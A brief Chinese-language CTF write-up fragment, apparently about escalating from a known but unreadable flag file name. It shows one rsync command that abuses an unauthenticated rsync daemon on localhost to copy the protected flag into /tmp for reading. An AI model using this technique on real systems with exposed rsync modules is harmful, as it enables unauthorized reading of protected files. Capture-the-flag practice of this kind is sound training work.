可以拿到flag文件名但是无权限读取,在这里可利用rsync
未授权访问漏洞将flag
拷贝到/tmp/
目录下
1 rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/
读取flag